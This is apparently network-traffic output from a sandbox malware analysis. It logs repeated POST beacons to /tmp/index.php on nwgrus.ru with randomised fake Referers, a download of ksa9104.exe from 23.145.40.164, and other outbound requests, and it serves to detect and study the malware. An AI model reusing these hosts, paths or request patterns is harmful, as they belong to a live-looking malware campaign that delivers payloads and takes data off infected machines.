Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://edyhjfoqqme.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ecpbasxejvhmni.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pklhudfcrpsm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bwdwojspdgtrj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://otxnyveihviep.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://btdksbvigeadnr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xwykiojnclenqqi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nhtxkrllcfsfts.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xdbwevihetlvramf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kktprwryymhwgw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 363Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://waytjuqjooe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://seyshogepyribe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjfnbkmpvhxjsu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 269Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://btusdqnvtphf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://utinkaubisghnyye.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jkjogobunqlid.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ohoqxgflpcpf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 297Host: nwgrus.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcdwkbgyoixtxr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: nwgrus.ru

Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164
Source: unknown	TCP traffic detected without corresponding DNS query: 23.145.40.164

Source: global traffic

HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164

Source: global traffic	DNS traffic detected: DNS query: nwgrus.ru
Source: global traffic	DNS traffic detected: DNS query: calvinandhalls.com

Source: unknown

HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: https://nmesrodehsvre.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: calvinandhalls.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:02:20 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:02:28 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Type: text/html; charset=utf-8Connection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:02:29 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:02:36 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 409Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:03:53 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:04:14 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:04:37 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 25 Sep 2024 14:04:59 GMTServer: Apache/2.4.52 (Ubuntu)X-Frame-Options: DENYX-Content-Type-Options: nosniffX-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Length: 7Content-Type: text/html; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 86 ea Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Wed, 25 Sep 2024 14:01:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
